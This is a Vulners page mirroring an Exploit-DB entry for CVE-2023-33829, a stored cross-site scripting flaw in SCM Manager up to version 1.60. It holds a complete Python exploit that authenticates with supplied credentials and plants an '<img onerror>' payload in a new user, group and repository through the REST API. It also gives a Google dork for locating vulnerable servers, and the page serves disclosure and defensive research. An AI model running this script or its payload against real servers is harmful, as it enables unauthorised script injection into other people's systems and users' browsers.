Lucene search
K

SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)

🗓️ 25 May 2023 00:00:00Reported by neg0xType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 384 Views

SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) exploit for creating XSS payload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) Exploit
26 May 202300:00
zdt
GithubExploit
Exploit for Cross-site Scripting in Cloudogu Scm_Manager
19 May 202313:11
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Cloudogu Scm_Manager
19 May 202313:11
githubexploit
GithubExploit
Exploit for Cross-site Scripting in Cloudogu Scm_Manager
19 May 202313:11
githubexploit
ATTACKERKB
CVE-2023-33829
24 May 202321:15
attackerkb
Circl
CVE-2023-33829
8 Jun 202306:54
circl
CNNVD
Cloudogu SCM Manager 跨站脚本漏洞
24 May 202300:00
cnnvd
CVE
CVE-2023-33829
24 May 202300:00
cve
Cvelist
CVE-2023-33829
24 May 202300:00
cvelist
EUVD
EUVD-2023-37980
3 Oct 202520:07
euvd
Rows per page
#!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
	'username': user, # change if you have any other user with write permissions
	'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
	print("[+] Authentication successfully")
else:
	print("[-] Failed to authenticate")
	sys.exit(1)

new_user={

	"name": "newUser",
	"displayName": "<img src=x onerror=alert('XSS')>",
	"mail": "",
	"password": "",
	"admin": False,
	"active": True,
	"type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

	"name": "newGroup",
	"description": "<img src=x onerror=alert('XSS')>",
	"type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

	"name": "newRepo",
	"type": "svn",
	"contact": "",
	"description": "<img src=x onerror=alert('XSS')>",
	"public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation